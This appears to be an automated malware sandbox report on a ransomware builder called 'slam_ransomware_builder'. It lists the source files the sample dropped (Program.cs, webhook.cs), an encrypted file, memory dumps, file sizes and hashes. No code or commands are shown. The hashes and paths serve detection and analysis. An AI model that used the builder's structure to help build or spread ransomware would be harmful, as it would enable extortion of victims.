C:\slam_ransomware_builder\wallpaper.jpg.SLAM

Filesize
122KB

MD5
f83cd0592ef46ff26c4b81f3ebbeec1c

SHA1
9a99d054675e7fa659188e1057a271b4b59c6e78

SHA256
2c070169ac950517fd5e828e309fb0e27ad24cfc94dfbc2c3de5f6a9adbc8d7b

SHA512
6c3576a275fb7da04c982682999ebaed346af757e88f2b5d12cc1ecaf3bb9639a458a2e207f69d5fa04dd03272e831d1c07e0a7c46beb28c2a51ef93425b2df9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs

Filesize
194B

MD5
60e83364aba7437f89860f4fed9b0ca6

SHA1
a346530400ddfb4e709aac20d1201ce2047adae5

SHA256
0c2eadb59d40b199250a3c2e0c3119180c9f0c00e069bf51bb7bb39c9b2eeefb

SHA512
295f9ecd2034cc9cc6c23375f0827decc382d2fec17848e210261edd6561ef7ac5737f7ace00b981885c500ffa31f61a69e620bc9312cb27fd9718aab30be591

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\tmpfbd8524bf1e64be5b5ec1d6c04e0b1c7.rsp

Filesize
2KB

MD5
084b15ba76ccc049427f797e87f1d4b5

SHA1
36bbe125b2c52f4c530113e75847e30f8e48cae6

SHA256
bc92718bfbe5317d76cb52030c8793c7a457e5a6bc5eb7e5b44725c352f30d39

SHA512
5e8024d57cea611ec235bee73daa7942c5a209273041529824e96b903b2ea0ea4938ae63954b9732525d7d3d7f705823dae31c46e91ca464a2a934af440db9b7

Download Submit
\??\c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\CenterScreen.cs

Filesize
1KB

MD5
f031292fd99d65f3a9f2bc533bd90014

SHA1
65b8a430785cf82853d347ffd8619b268a7f84c4

SHA256
f7b7df68d57eaa80fdeb055c522eaa47a6f41d962e1e3a50343ea36fda3bd80f

SHA512
7357dfe0f5a9536a926e87cdc860e06eaa724e518e65ce9e33d265e69ff5b82eb8d42b759df32a83052f453ed623c1481c8ff06075b19d24f56394f54e3b8948

Download Submit
\??\c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Program.cs

Filesize
59KB

MD5
77b879f86a274998348df08a1bddfd04

SHA1
9e72e0a8140c75c947c0cacc96b64ef06b47b22a

SHA256
01950a98ad432a9326c48c3dd5244920ae849a9064fdd70d16fcb5b4204d2fb8

SHA512
aa03c9d46ce3cb661cfc8430fa10c5459c5365b7ada573980568e81ca1108316d650141f50669b91d90f5602be6e1c80fc0054a4a38e156cf2b2171846531240

Download Submit
\??\c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Properties\AssemblyInfo.cs

Filesize
569B

MD5
6ae5c2395170e2d6d29d4f1e95e676e6

SHA1
533905ab44c6c68b58212f62202549646e23f2f6

SHA256
c12e04bcf0c4bd14dcbb50cc96416c77080ffc4bac7fb784d462ee6d6d163d6f

SHA512
492b0f4e8d4783194438f6be9d432bc008b7d72a31dbaf9aca5714e276ee13f8310408f379f165ec4ac63eb59404899c772f471a48a785ad8fd79c1cd9bfc80e

Download Submit
\??\c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\Properties\Resources.Designer.cs

Filesize
3KB

MD5
a18c2165eca83b60b14010fddb2dab12

SHA1
99f56e0e02b2f12d2ba96380b8410977cec61a42

SHA256
aebf224697035142a1448fb6653cf3c85fb23fa92713ff6bc84c65bbc187040d

SHA512
58aadd355a0f89f6657acab51ac3dcb76ad037dcd05d7df375fc8f71981f02e9d7aff62b808ce26ba92f863df16099eefe722cda066aba2d03438270fcb55f48

Download Submit
\??\c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\webhook.cs

Filesize
3KB

MD5
48328b99df8af9ae9f83f4eedda844c2

SHA1
7522860dacea9e8716c2dacfc8866f22abc23b5a

SHA256
67e69dd78f613b9775dbb1f7320e11a39f6bf7dae79d006a28ac5d5c91cef6f9

SHA512
137f27ee94332087ed02a884e623fa7a176cf78d16c3e93c77bc8cbba82aa3b949fab0d6201f78937eee922d3f0d0bc34ce9cc70aa61935c7b44415f8ca7e695

Download Submit
memory/1928-319-0x000000006E7B0000-0x000000006E7FC000-memory.dmp

Filesize
304KB

Download
memory/3508-311-0x00007FFFE0820000-0x00007FFFE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/3508-313-0x00007FFFE0820000-0x00007FFFE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/3612-201-0x0000000000C70000-0x0000000000E0E000-memory.dmp

Filesize
1.6MB

Download
memory/3612-217-0x0000000001690000-0x000000000170C000-memory.dmp

Filesize
496KB

Download
memory/3612-213-0x0000000009EB0000-0x0000000009F08000-memory.dmp

Filesize
352KB

Download
memory/3612-202-0x0000000008F00000-0x0000000008F9C000-memory.dmp

Filesize
624KB

Download
memory/3612-203-0x0000000009950000-0x00000000099B6000-memory.dmp

Filesize
408KB

Download
memory/3720-244-0x0000000005C60000-0x0000000005CD6000-memory.dmp

Filesize
472KB

Download
memory/3720-232-0x00000000058C0000-0x0000000005904000-memory.dmp

Filesize
272KB

Download
memory/3720-235-0x0000000006080000-0x00000000065EC000-memory.dmp

Filesize
5.4MB

Download
memory/3720-231-0x0000000005980000-0x0000000005AA2000-memory.dmp

Filesize
1.1MB

Download
memory/3720-229-0x0000000004CE0000-0x0000000004D10000-memory.dmp

Filesize
192KB

Download
memory/3720-228-0x0000000004DC0000-0x0000000004F1A000-memory.dmp

Filesize
1.4MB

Download
memory/3720-239-0x0000000005BD0000-0x0000000005C80000-memory.dmp

Filesize
704KB

Download
memory/3720-240-0x0000000006260000-0x000000000685E000-memory.dmp

Filesize
6.0MB

Download
memory/3720-241-0x0000000005FD0000-0x0000000006336000-memory.dmp

Filesize
3.4MB

Download
memory/3720-242-0x0000000005420000-0x0000000005448000-memory.dmp

Filesize
160KB

Download
memory/3720-243-0x0000000005410000-0x0000000005422000-memory.dmp

Filesize
72KB

Download
memory/3720-227-0x0000000004BF0000-0x0000000004C0A000-memory.dmp

Filesize
104KB

Download
memory/3720-246-0x000000000648C000-0x000000000668E000-memory.dmp

Filesize
2.0MB

Download
memory/3720-248-0x0000000005420000-0x0000000005450000-memory.dmp

Filesize
192KB

Download
memory/3720-249-0x0000000005EF0000-0x0000000006176000-memory.dmp

Filesize
2.5MB

Download
memory/3720-250-0x0000000005DE0000-0x0000000005F5C000-memory.dmp

Filesize
1.5MB

Download
memory/3720-226-0x0000000000410000-0x0000000000450000-memory.dmp

Filesize
256KB

Download
memory/4244-296-0x00000000056F0000-0x0000000005712000-memory.dmp

Filesize
136KB

Download
memory/4244-305-0x0000000007D20000-0x0000000007DB6000-memory.dmp

Filesize
600KB

Download
memory/4244-297-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/4244-298-0x0000000006730000-0x000000000674E000-memory.dmp

Filesize
120KB

Download
memory/4244-299-0x0000000006D20000-0x0000000006D52000-memory.dmp

Filesize
200KB

Download
memory/4244-300-0x000000006DA00000-0x000000006DA4C000-memory.dmp

Filesize
304KB

Download
memory/4244-301-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

Filesize
120KB

Download
memory/4244-302-0x00000000080D0000-0x000000000874A000-memory.dmp

Filesize
6.5MB

Download
memory/4244-303-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

Filesize
104KB

Download
memory/4244-304-0x0000000007AB0000-0x0000000007ABA000-memory.dmp

Filesize
40KB

Download
memory/4244-294-0x00000000030C0000-0x00000000030F6000-memory.dmp

Filesize
216KB

Download
memory/4244-295-0x00000000058C0000-0x0000000005EE8000-memory.dmp

Filesize
6.2MB

Download
memory/4244-306-0x0000000007CE0000-0x0000000007CEE000-memory.dmp

Filesize
56KB

Download
memory/4244-307-0x0000000007DF0000-0x0000000007E0A000-memory.dmp

Filesize
104KB

Download
memory/4244-308-0x0000000007DD0000-0x0000000007DD8000-memory.dmp

Filesize
32KB

Download
memory/4844-132-0x00000133D30F0000-0x00000133D3112000-memory.dmp

Filesize
136KB

Download
memory/4844-135-0x00007FFFE16B0000-0x00007FFFE2171000-memory.dmp

Filesize
10.8MB

Download
memory/4844-133-0x00007FFFE16B0000-0x00007FFFE2171000-memory.dmp

Filesize
10.8MB

Download
memory/4880-276-0x0000000000950000-0x0000000000A3C000-memory.dmp

Filesize
944KB

Download
memory/5340-318-0x00000000002F0000-0x00000000003DC000-memory.dmp

Filesize
944KB

Download
memory/5692-191-0x00000000097E0000-0x00000000097F2000-memory.dmp

Filesize
72KB

Download
memory/5692-187-0x000000000AFD0000-0x000000000AFDA000-memory.dmp

Filesize
40KB

Download
memory/5692-186-0x0000000007660000-0x000000000766A000-memory.dmp

Filesize
40KB

Download
memory/5692-185-0x0000000007690000-0x0000000007722000-memory.dmp

Filesize
584KB

Download
memory/5692-184-0x0000000007BA0000-0x0000000008144000-memory.dmp

Filesize
5.6MB

Download
memory/5692-183-0x0000000000560000-0x0000000002CA4000-memory.dmp

Filesize
39.3MB

Download
memory/5964-309-0x00000000002B0000-0x00000000002BA000-memory.dmp

Filesize
40KB

Download
memory/5964-312-0x00007FFFE0820000-0x00007FFFE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/5964-314-0x00007FFFE0820000-0x00007FFFE12E1000-memory.dmp

Filesize
10.8MB

Download
memory/5964-310-0x00007FFFE0820000-0x00007FFFE12E1000-memory.dmp

Filesize
10.8MB

Download